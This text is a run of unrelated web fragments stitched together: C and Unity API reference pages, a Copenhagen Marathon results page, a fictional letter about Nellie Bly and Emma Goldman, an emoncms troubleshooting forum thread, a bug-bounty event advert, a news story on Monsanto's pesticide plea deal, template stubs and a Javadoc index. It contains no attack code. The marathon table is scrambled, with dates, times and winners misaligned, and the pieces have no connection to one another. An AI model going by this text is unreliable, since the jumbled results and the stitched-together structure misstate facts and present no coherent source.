| void le_event_RemoveHandler | ( | le_event_HandlerRef_t | handlerRef | ) |
Remove Handler
Removes a previously added event handler function.
| [in] | handlerRef | Handler reference. |
| void le_event_Report | ( | le_event_Id_t | eventId, |
| void * | payloadPtr, | ||
| size_t | payloadSize | ||
| ) |
Report an Event
Queues an Event Report to any and all event loops that have handlers for that event.
| [in] | eventId | Event ID created using le_event_CreateId(). |
| [in] | payloadPtr | Pointer to the payload bytes to be copied into the report. |
| [in] | payloadSize | Number of bytes of payload to copy into the report. |
| void le_event_ReportWithRefCounting | ( | le_event_Id_t | eventId, |
| void * | objectPtr | ||
| ) |
Sends an Event Report with a pointer to a reference-counted object as its payload. The pointer must have been obtained from a memory pool using the Dynamic Memory Allocation API.
Calling this function passes ownership of the reference to the Event Loop API. The Event Loop API will ensure that the reference is properly counted while it passes through the event report dispatching system. Each handler will receive one counted reference to the object, so the handler is responsible for releasing the object when it is finished with it.
| [in] | eventId | Event ID created using le_event_CreateIdWithRefCounting(). |
| [in] | objectPtr | Pointer to an object allocated from a memory pool (using the Dynamic Memory Allocation API). |
| void le_event_RunLoop | ( | void | ) |
Runs the event loop for the calling thread.
This starts processing events by the calling thread.
Can only be called once for each thread, and must never be called in the process's main thread.
| le_result_t le_event_ServiceLoop | ( | void | ) |
Services the calling thread's Event Loop.
See also: le_event_GetFd().
| void le_event_SetContextPtr | ( | le_event_HandlerRef_t | handlerRef, |
| void * | contextPtr | ||
| ) |
Sets the context pointer for a given event handler.
This can later be retrieved using le_event_GetContextPtr() from within the handler function when it is called.
| [in] | handlerRef | Handler where context pointer is to be set. |
| [in] | contextPtr | Context pointer value. |


# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# This utility is not supported by Google
# Author: Alex Kerschhofer


OPAL Webpage demo of images on Mobile device
The Tree Health Survey has three set steps
There are two main areas of interest here which can be broke into two distinct area: (a) The survey and the questions which are contained within it, and (b) the educational/support documentation contained within the resource.


Copenhagen Marathon
Copenhagen DEN
Website: www.copenhagenmarathon.dk
Race Winners
(40 runnings)
2:29:29 2:41:18 2:45:30 2:30:51 2:40:59 2:36:11 20 May
2007
2:23:54
2:47:56
21 May
2006
2:24:08
2:49:23
22 May
2005
2:21:14.8
2:48:21.7
16 May
2004
2:23:10
2:42:18
18 May
2003
2:19:57
2:48:52
25 May
2002
2:23:53
2:49:31
20 May
2001
2:22:15
2:45:23
21 May
2000
2:21:31
2:42:26
16 May
1999
2:21:05
2:37:26
16 May
1998
2:24:12
2:51:49
17 May
1997
2:21:28
2:47:31
19 May
1996
2:24:43
2:50:44
21 May 1995
2:20:09
2:35:48
22 May
1994
2:20:20
2:50:53
23 May
1993
2:22:58
2:54:12
24 May
1992
2:24:07
2:47:21
19 May
1991
2:21:59
2:53:00
20 May 1990
2:23:17
2:51:42
27 May
1989
2:29:22
3:08:34
28 May
1988
2:21:20
3:01:00
16 May 1987
2:14:16
2:49:22
17 May 1986
2:15:04
2:48:31
18 May 1985
2:23:18
2:45:07
19 May 1984
2:22:18
2:51:37
21 May
1983
2:16:41
2:45:10
22 May 1982
2:22:19
3:00:06
23 May 1981
2:24:10
3:16:26
24 May 1980
2:19:27
2:58:09
19 May
2019
2:09:54
Jackson Kibet Limo (KEN)
Etalemahu Zeleke Habtewold (ETH)
13 May
2018
2:11:15
William Nyarondia Morwabe (KEN)
2:32:17
Shasho Inseremu (ETH)
21 May
2017
2:12:11
Julius Ndiritu Karinga (KEN)
2:47:24
Hana Teklu Zemedkun (ETH)
22 May
2016
2:20:47
Aschalew Hunde Biru (ETH)
2:36:58
Gladys Kibiwot (BRN)
24 May
2015
2:15:25
Hassane Ahouchar (MAR)
(nc)
2:33:45
Nancy Koech Chebet (KEN)
(nc)
18 May
2014
2:21:38
Amare Eneayehu Abebe (ETH)
(nc)
2:40:05
Ayelu Abebe Hordofa (ETH)
(nc)
19 May
2013
2:17:24
Rachid Kishri (MAR)
(nc)
2:44:14
Anne-Mette Aargaard-5
(nc)
20 May
2012
2:24:49
Martin Parkhøi (DEN)
(nc)
Barbara Sanchez (IRL)
(nc)
22 May
2011
2:21:45
Mårten Boström (FIN)
Ann-Sofie
Hansen-2
23 May
2010
2:22:29
Mikkel Kleis (DEN)
(nc)
Colleen deReuck (CO/USA)
(nc)
24 May
2009
2:18:04
Toyokazu Yoshimura (JPN)
Chihiro Tanaka (JPN)
18 May
2008
2:21:09
Julius Mutai
Kiprono-2
(nc)
Anne-Mette Aargaard-4
(nc)
Julius Mutai
Kiprono (KEN)
Ann-Sofie Hansen (DEN)
Torben Nielsen-2
(nc)
Kathrine Tilma (DEN)
(nc)
William Kiprotich (KEN)
Jo Kelsey (ENG)
Torben Nielsen (DEN)
Annemette Aagard-3
Mustafa Errebah (MAR)
Annemette Aagard-2
Janusz Sarnicki-2
Annemette Aagard (DEN)
Jens-Henrik Jensen (DEN)
Shona Crombie (GBR)
Samwel Okemwa (KEN)
Michaela McCallum (GBR)
Wieslaw Gora (POL)
Hong-xiao Guo (CHN)
Janusz Sarnicki (POL)
(nc)
Karin Andersen (DEN)
(nc)
Søren Rasmussen (DEN)
(nc)
Karin Andersen (DEN)
(nc)
Palle Redder Madsen (DEN) (nc)
Anette Hansen (1964,DEN) (nc)
Stanislaw Cembrzynski-2 (nc)
Dorthe Rasmussen (DEN) (nc)
Joel Kipchumba (KEN)
Svetlana Kazankina (RUS)
Stanislaw Cembrzynski-2
Tatiana Forminykh (RUS)
Aleksandr Kuftyrev (RUS)
Tatiana Pentukova (RUS)
Stanislaw Cembrzynski (POL)
Mariann Stenbakk (NOR)
Alexander Schatz (GER)
Anette Hansen (1962,DEN)
Beat Imhof (SUI)
Lisbeth Sejrsbøl (DEN)
Allan Zachariassen (DEN)
Kersti Jacobsen (DEN)
Svend-Erik Kristensen-2
Mette Werth (DEN)
Svend-Erik Kristensen (DEN) (nc)
Joan Carstensen (DEN) (nc)
Ole Jacobsen (DEN)
Lone Dybdal-3
Philippe Adam (BEL)
Britta Houmann-Sørensen (DEN)
Henrik Jørgensen-2
Lone Dybdal-2
Henrik Jørgensen (DEN)
Vibeke Nielsen (DEN)
Ove Larsen (DEN)
Jytte Fruchtmann (USA)
Arne Stigsen (DEN)
Lone Dybdal (DEN)
Notes: Race was known as the Wonderful Copenhagen Marathon thru 1987. Currently known as Telenor Copenhagen Marathon. In 2014 Julius Mutai Kiprono (KEN) finished 1st in 2:17:57 but was later disqualified for
drug use.
(nc) => national championship
2015
Thorkild Sundstrup was the national champion (place
unknown, 2:24:42)
2015 Malene Munkholm was the national champion (5th place,
2:48:35)
2014
Thorkild Sundstrup was the national champion (5th place, 2:25:35)
2014
Lone Balling was the national champion (4th place, 2:49:14)
2013 Henrik-Then Andersen was the national champion (3rd place, 2:18:02)
2012 Lene Hjelmsø was the national champion (2nd place, 2:45:17)
2010
Anne-Mette Aagaard was the national champion (2nd place, 2:38:49)
2008 Martin Parkhøi was the national champion (2nd place, 2:25:00)
1998 Christian Wolfsberg was the national champion (2nd, 2:25:02)
1995 Kent Jensen was the national champion (place unknown, 2:20:27)
Most Wins
(1980-date)
Men
3
Stanislaw Cembrzynski (POL)
1991,1993,1995
Women
5
Annemette Aagard (DEN)
2002-04,2008,2013
Prize Money
(ADR qualified runners)
Year Men Women Total 2017 $6,020 $4,340 $10,360 .... 1999 n/a 710 710 Sums $6,020 $5,050 $11,070
Race Time Bias (sec/km) Insufficient data to calculate the race time bias.
Competitive Level
Year Men Wmn 2017 104 n/c .... 2015 140 n/c
Quality Performances through 2019
Men <2:10 1 <2:11 3 <2:12 7 <2:13 8 <2:14 10 <2:15 13 Women <2:30 1 <2:32 3 <2:34 7 <2:36 11 <2:38 16 <2:40 23 <2:42 27 <2:44 31 <2:46 42
Last Updated on 20 May 2019 mp
Contributors: Jakob Larsen, Marty Post, Michael Cubbin, Juraj Gasparovic (13), Klaas Loonstra (23), Brett Larner (2), John Falvey (1), Enzo Rivas (1)


Class ArucoCharucoBoard
Describes a ChArUco board.
Inheritance
System.Object
UnityEngine.Object
UnityEngine.Component
UnityEngine.Behaviour
UnityEngine.MonoBehaviour
ArucoCharucoBoard
Inherited Members
Namespace: ArucoUnity.Objects
Assembly: Assembly-CSharp.dll
Syntax
public class ArucoCharucoBoard : ArucoBoard
Properties
| Improve this Doc View SourceDetectedCorners
Gets or sets the list of the detected marker by the tracker the last frame.
Declaration
public Std.VectorPoint2f DetectedCorners { get; }
Property Value
| Type | Description |
|---|---|
| Std.VectorPoint2f |
DetectedIds
Gets or sets the list of the ids of the detected marker by the tracker the last frame.
Declaration
public Std.VectorInt DetectedIds { get; }
Property Value
| Type | Description |
|---|---|
| Std.VectorInt |
SquareSideLength
Gets or sets the side length of each square. In pixels for Creators. In meters for Trackers and Calibrators.
Declaration
public float SquareSideLength { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Single |
SquaresNumberX
Gets or sets the number of squares in the X direction.
Declaration
public int SquaresNumberX { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Int32 |
SquaresNumberY
Gets or sets the number of squares in the Y direction.
Declaration
public int SquaresNumberY { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Int32 |
ValidTransform
Gets or sets if the transform of the board has been correctly estimated by the tracker the last frame.
Declaration
public bool ValidTransform { get; }
Property Value
| Type | Description |
|---|---|
| System.Boolean |
Methods
| Improve this Doc View SourceDraw()
Declaration
public override Cv.Mat Draw()
Returns
| Type | Description |
|---|---|
| Cv.Mat |
Overrides
| Improve this Doc View SourceGenerateName()
Declaration
public override string GenerateName()
Returns
| Type | Description |
|---|---|
| System.String |
Overrides
| Improve this Doc View SourceGetArucoHashCode(Int32, Int32, Single, Single)
Computes the hash code of a ChAruco board.
Declaration
public static int GetArucoHashCode(int squaresNumberX, int squaresNumberY, float markerSideLength, float squareSideLength)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | squaresNumberX | The number of squares in the X direction. |
| System.Int32 | squaresNumberY | The number of squares in the Y direction. |
| System.Single | markerSideLength | The side length of each marker. |
| System.Single | squareSideLength | The side length of each square. |
Returns
| Type | Description |
|---|---|
| System.Int32 | The calculated ArUco hash code. |
GetGameObjectScale()
Declaration
public override Vector3 GetGameObjectScale()
Returns
| Type | Description |
|---|---|
| UnityEngine.Vector3 |
Overrides
| Improve this Doc View SourceUpdateArucoHashCode()
Declaration
protected override void UpdateArucoHashCode()
Overrides
| Improve this Doc View SourceUpdateBoard()
Declaration
protected override void UpdateBoard()


@import helpers.SessionHelper @import helpers.CommonHelpers @(message: Message) @import helper._ @admin.adminIndex {
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.


{{run.point_count}} data points
Accuracy on validation set: {{run.accuracy * 100 | number : 2}}%
Total number of prediction runs: {{predictionRunCount}}


"Do you need an introduction to Emma Goldman? You have seen supposed pictures of her. You have read of her as a property-destroying, capitalist-killing, riot-promoting agitator. You see her in your mind a great raw-boned creature, with short hair and bloomers, a red flag in one hand, a burning torch in the other; both feet constantly off of the ground and 'murder!' continually upon her lips."
"The [sic] was my ideal of her, I confess, and when the matron stood before me saying, 'This is Emma Goldman,' I gasped in surprise and then laughed."
That's right, she gasped and then laughed! It would seem that you do know a thing or two about Nellie Bly and didn't just skim her Omnipedia article. Most people these days haven't even heard about Nellie Bly, much less know anything about her. We should get together and talk some day!
There is the little problem of you getting yourself arrested, of course, but that's manageable. I've been cooped up in my office for too long anyway, and perhaps it's time that I started actually following Goldman's example, instead of recommending surveillance and drone strikes. Emma Goldman would never recommend a drone strike (well, maybe when she was young, but not in her final form).
Anyway, enough rambling. Operatives are on their way to your home as I write this. I'm parked out back in my Ford Thunderbird convertible. If you're interested, meet me here ASAP, and we'll blow this joint together.
"I had looked forward so eagerly to leaving the horrible place, yet when my release came and I knew that God's sunlight was to be free for me again, there was a certain pain in leaving." - Nellie Bly


I need some help troubleshooting my emoncms.org data feed problem.
Just finished building emontx and loaded latest example emonTx_CT123_Voltage sketch and emonlib yesterday. The only changes I've made are to set the frequency and calibration figures.
I've used a Raspberry pi with ready made RFM12pi expansion board. I loaded the Emoncms on the Raspberry PI - Ready-to-go image and then updated with git pull. The pi is connected to my wifi router directly via cable.
I have 3 x ct sensors and 9v voltage sensor (all standard ones from shop) in use.
The setup works great logging data to emoncms on the pi at <IP_ADDRESS> The feed data seems to update every 5 - 10 secs giving nice smooth lines on the multigraph I've set up in my dashboard.
However the logging of data to my emoncms.org feeds over the internet is not working properly and due to my limited understanding of networking and linux I'm now stumped. The emoncms account is receiving the data but in sporadic intervals. Sometimes it's updated every 30 secs but mostly it's updated every 15 - 50 mins. This is making the multigraph for example, very jagged looking and the feed data is not matching with my local emoncms data very well.
Would this be a setup issue with my router or with the setup of the emon firmware?
Re: Emoncms data feeds not updating as regularly as local pi emoncms data feeds
Disclaimer: I'm no networking expert.
The real question is: Why is it not updating? We presume (but the first step is to prove it) that it is despatching the data at the proper intervals. Is it despatching the data and the data is not getting through, or is it waiting for an acknowledgement that doesn't come back (which might mean the data didn't get through), or is it not recognising the acknowledgement and getting stuck that way? Have you checked the firewall in your router?
I've no idea how the RPi interfaces with the web, the Nanode uses DNS to get the server's IP address, which you're not using with your local emoncms. If DNS does not respond in a timely manner, that could create a hang-up.
Re: Emoncms data feeds not updating as regularly as local pi emoncms data feeds
Thanks for the reply Robert, I hadn't seriously considered the router to be the problem as it's been updating PVoutput with my inverter stats, through a laptop running Aurora monitor, without a hiccup for over 18 months now.
Following your post I was going to swap my 3g router for another one but thought I'd try a 3UK broadband sim card (which I had to hand anyway) in place of the Tmobile one first and eureka, the web based emoncms now seems to be updating every few seconds. It's only been running for a few hours with the new sim card but everything now seems to be working well.
Maybe Tmobile where throttling my bandwidth or more likely it was a dns issue as I do remember seeing a comment flash past on the raspberry boot screen about it being unable to obtain the server name from 192.?/??...
Re: Emoncms data feeds not updating as regularly as local pi emoncms data feeds
Ah, you didn't say you were using the 3g network! I remember seeing comments somewhere (it might have been here, or possibly JeeLabs) that 'they' had problems with a wireless network. It might be worth trying to find that.
If you saw something about a server name from 192. that makes sense because you won't have your own Domain Name Server (and the World DNS won't know about your local 192 addresses). My guess is the 3UK system is more tolerant - I think you need to check how you've set up the emoncms address on your RPi - you might be mixing the two servers' addresses.
[Edit] This might shed some light: http://openenergymonitor.org/emon/node/1903
[Edit 2] Also http://openenergymonitor.org/emon/node/1696
Re: Emoncms data feeds not updating as regularly as local pi emoncms data feeds
Update...systems been running problem free all week now on the threeuk 3G network.
For the record I don't have the Huawei E367 3G dongle plugged into the Raspberry pi like the guys having problems in the links. Its plugged into a ZTE MF10 wifi router which at the moment is connected to the pi via ethernet cable. No drivers or UMTS software is needed on pi this way.
The only problem is when the wifi router crashes, which it has done in the past occasionally (approx once per month), it will need manually power cycling. I don't think I can get the pi to restart it.
The pi boot message which I mentioned in my last post is still there even with the new sim card. I wrote it down this time instead of relying on memory....."couldn't reliably determine the servers fully qualified domain name using <IP_ADDRESS> for Server name" googling it points to server name not set in httpd.conf file. Not sure if the message is related to the connection problems I had but I'll try to fix it anyway.


Best Speakers
A participant will be judged upon the number of Validated bugs he/she reported.
Skillship Foundation - with support of various active open source community contributor and the of team Ethical Hackers and Bug Bounters
Today we are almost entirely dependent on hackable technology. Your phone, your computers, your car, your bank and credit card purchases, even your smart home devices and alarm systems (IoT) can be hacked into.In fact, a hacker attack takes place worldwide every 39 seconds, affecting one in three Peoples each year. In the era of digitization, we are creating the sparks in the Digital country of young blood through the Hack0nFest by giving them knowledge and guidance in the field of cybersecurity with the help of amazing Experience Mentors For the Companies here is the opportunity to pick from the amazing talent pool that is expected to be present at the Hack0nFest 2020
A participant will be judged upon the number of Validated bugs he/she reported.
Best Experience and It will be a very minimum amount.
A We have a separate panel that will go through all the reports and will provide points to accepted reports.
Will we be providing any kind of resources to beginners? Yes, We will provide leaning kits to all those who want to enter into this domain.
This program is for any person who is at any level of Hacking and Cybersecurity knowledge. All you need is zeal to learn something new every day
This will be a 4-week long intensive program. Many Prizes and merchandise and one Biggest Cash Prize
director & founder, Techgreech Group, Chennai
Experienced Chief Executive Officer and Security Researcher with a demonstrated history of working in the computer and network security industry. Skilled in Research, Hacking and Application Development.
Machine Learning Facilitator at Google
Researcher with a demonstrated history of working in the computer and network security industry.
Certified Ethical Hacker, Cyber Crime Reporter, Nagpur
Ethical Hacker | Cyber Crime Investigator | Bug Hunter.
Software Developer, Aress Software, Nashik
Experienced Captain with a demonstrated history of working in the computer software industry.
Rs 999.00 /-


Statistics
Categories
of Wildlife spotted by INWILD.
Animalshave their paws marked.
Usersbelong to the INWILD community.
Officialskeep INWILD running.
Categories
of Wildlife spotted by INWILD.
Animalshave their paws marked.
Usersbelong to the INWILD community.
Officialskeep INWILD running.


#parse ($init)
$the_title
$theme.include($top_head_include) $theme.include($content_include) $theme.include($bottom_ext_include)


Monsanto Fined $10 Million in Plea Deal Over Use of Banned Pesticide
by JULIE ST. LOUIS(CN) – Agribusiness giant Monsanto has agreed to plead guilty to using a banned pesticide on Maui research crops and pay more than $10 million in fines, according to a U.S. Justice Department plea agreement released Thursday.
In court documents filed in United States District Court in Honolulu, Monsanto will plead guilty to a misdemeanor offense of unlawfully spraying a banned pesticide – specifically methyl parathion, the active ingredient in Penncap-M –which the company used on corn seed and research crops at its Valley Farm facility in Kihei, Hawaii in 2014.
Monsanto admitted it used Penncap-M despite knowing of its 2013 prohibition by the Environmental Protection Agency. The company also admitted that it told employees to re-enter the sprayed fields seven days later even though it knew that workers should have been prohibited from entering the area for 31 days.
Under a deal with prosecutors, Monsanto will pay $10.2 million that includes a $6 million criminal fine and $4 million in community service payments to several government agencies and an additional $200,000 fine.
If the company successfully completes a two-year period of compliance with the agreement’s terms, the government agreed to dismiss two felony charges for unlawfully transporting and storing hazardous waste at locations on Maui and Moleka’i.
“The illegal conduct in this case posed a threat to the environment, surrounding communities and Monsanto workers,” said United States Attorney Nick Hanna. “Federal laws and regulations impose a clear duty on every user of regulated and dangerous chemicals to ensure the products are safely stored, transported and used.”
From March 2013 through August 2014, even though the pesticide was on the company’s lists of chemicals that needed disposal, Monsanto stored 160 pounds of Penncap-M hazardous waste at its Molokaʻi facility, which under federal law made Monsanto a “Large Quantity Generator” of hazardous waste and subject to additional regulations.
Monsanto also stored a total of 111 gallons of Penncap-M at Valley Farm, Maalaea and Piilani. Just like on Molokaʻi, the storage of Penncap-M at the three Maui sites made Monsanto a “Large Quantity Generator.”
According to court documents, Monsanto failed to properly identify the hazardous waste on shipping manifests and obtain permits for its transport as required by law.
“To protect human health and the environment, pesticides must be properly applied and stored,” Special Agent-in-Charge of EPA’s criminal enforcement program in Hawaii Jay Green said. “EPA will continue to work in close partnership with our state and local counterparts to bring cases against those who knowingly threaten the health and safety of Hawaiian communities.”
Five Hawaiian agencies will split the $4 million community service payments, receiving $800,000 each.
· the Hawaiʻi Department of Agriculture, to create and fund a Pesticide Disposal Program and for training and education purposes;
· the Hawaiʻi Department of Land and Natural Resources, Maui Division of Aquatic Resources, for use in its marine programs;
· the Hawaiʻi Department of Health, Hazardous Waste Branch, for use in its training and education programs;
· the Hawaiʻi Department of Health, Environmental Management Division, for water quality monitoring, water quality improvements and training and education purposes; and
· the Kahoʻolawe Island Reserve Commission, for use in the clean-up of the island of Kahoʻolawe.
Special attorneys Mark Williams and Dennis Mitchell, appointed by the United States Attorney General, are prosecuting the case.
Copyright © 2019 courthousenews.com


Size
The type of things with some fixed size.
Sizes larger than Zero are represented by nested applications of Size.
For example, things of size 2 are typed: (Size (Size Zero))
Functions that rely on information about the size or length of a structure
are implemented in terms of Size
and Zero
.
size
macro
Macro
(size n)
Size types can be quite a pain to type out in full, as the rely on significant nesting.
The size macro generates an appropriate Size based on an integer value, and may be used to generate a size type in functions signatures and macros.


Pizza Store
Welcome. Please insert your info and order
Start your order
Order listings
Create an Account
Customer Name
Phone number
Address
Quantity
Pizza size
Big: $15
Regular: $12
Small: 10
Pizza Crust
Crispy Thin
Cheese In
Sausage
Select your toppings
Onion
Tomatoes
Cheese
Meat
Pepperoni
Sausage
Chicken
Bacon
Mushroom
Olives
Submit
Logout


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
D
E
G
H
I
M
N
O
P
R
S
T
U
E
Edge
- Class in
ems
Edge(String, Branch, Branch, int)
- Constructor for class ems.
Edge
EdgeIntegrationTest
- Class in
ems_test
EdgeIntegrationTest()
- Constructor for class ems_test.
EdgeIntegrationTest
EdgeTest
- Class in
ems_test
EdgeTest()
- Constructor for class ems_test.
EdgeTest
EdgeTest.BranchStub
- Class in
ems_test
ems
- package ems
ems_test
- package ems_test
execute()
- Method in class ems.
CmdAddBranch
execute()
- Method in class ems.
CmdAddCustomer
execute()
- Method in class ems.
CmdAddLinkage
execute()
- Method in class ems.
CmdAddManager
execute()
- Method in class ems.
CmdCheckTime
execute()
- Method in class ems.
CmdCreateOrder
execute()
- Method in class ems.
CmdHelp
execute()
- Method in class ems.
CmdRmBranch
execute()
- Method in class ems.
CmdRmLinkage
execute()
- Method in class ems.
CmdRmManager
execute()
- Method in class ems.
CmdSearchBranch
execute()
- Method in class ems.
CmdSearchOrder
execute()
- Method in interface ems.
Command
execute(Branch)
- Method in class ems.
Dijkstra
A
B
C
D
E
G
H
I
M
N
O
P
R
S
T
U
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes